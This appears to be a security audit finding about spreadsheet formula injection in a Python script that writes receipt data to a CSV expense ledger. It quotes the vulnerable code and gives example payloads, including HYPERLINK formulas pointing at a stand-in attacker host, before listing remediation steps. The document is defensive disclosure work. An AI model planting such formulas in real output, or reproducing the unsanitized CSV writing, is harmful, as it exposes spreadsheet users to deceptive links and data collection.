T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/expense_ledger.py:27
- Finding
- Spreadsheet Formula Injection in Generated Expense Ledger<![CDATA[ ## Vulnerability Details **File Location**: `scripts/expense_ledger.py`, lines 27–41 **Vulnerability Type**: CSV/spreadsheet formula injection **Risk Level**: Medium ```python w = csv.DictWriter(f, fieldnames=fields) w.writeheader() for item in items: desc = item.get("description","") amt = str(item.get("amount","")) flag = "check" if not amt else "" w.writerow({ "vendor": item.get("vendor",""), "date": item.get("date",""), "amount": amt, "currency": item.get("currency",""), "description": desc, "category": item.get("category") or categorize(desc + " " + item.get("vendor","")), "flag": flag }) ``` ### Technical Analysis The script copies receipt-derived values into CSV cells without neutralizing spreadsheet formula prefixes. Values in fields such as `vendor`, `date`, `amount`, `currency`, `description`, and user-supplied `category` can begin with characters interpreted as formulas by spreadsheet applications, including `=`, `+`, `-`, and `@`. CSV escaping and quoting do not reliably prevent formula evaluation. Consequently, an attacker-controlled receipt, OCR result, or JSON input could place a formula such as the following into the generated ledger: ```text =HYPERLINK("https://attacker.invalid/collect","Open receipt") ``` When the CSV is opened in a spreadsheet application that evaluates formulas, the cell can present a deceptive link or invoke other application-supported formula behavior. The exact result depends on the spreadsheet product, version, security configuration, and whether the user interacts with prompts or links. ### Attack Path 1. An attacker supplies a receipt, invoice, reimbursement record, or OCR-derived value containing a spreadsheet formula prefix. 2. That value is included in the JSON input as a field such as `vendor`, `descrip ...[truncated 1384 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Treat every value written to the CSV as untrusted, including values that appear numeric or categorical. 2. Before writing a cell, detect dangerous formula prefixes after any leading spaces, tabs, carriage returns, or line feeds. 3. Neutralize cells beginning with `=`, `+`, `-`, or `@`. One common mitigation is to prefix the value with a single quote, provided the behavior is verified in all supported spreadsheet applications. 4. Prefer an output format that supports an explicit text cell type, such as XLSX generated by a trusted library, and configure every untrusted field as text. 5. Validate `amount`, `date`, `currency`, and `category` against strict schemas rather than accepting arbitrary strings. 6. Add regression tests for direct and whitespace-prefixed payloads, including: ```text =1+1 +SUM(1,1) -1+2 @SUM(1,1) =HYPERLINK("https://attacker.invalid","Open") ``` 7. Document that generated CSV files contain untrusted receipt data and should not be opened with automatic formula evaluation enabled until sanitization is implemented. ]]>
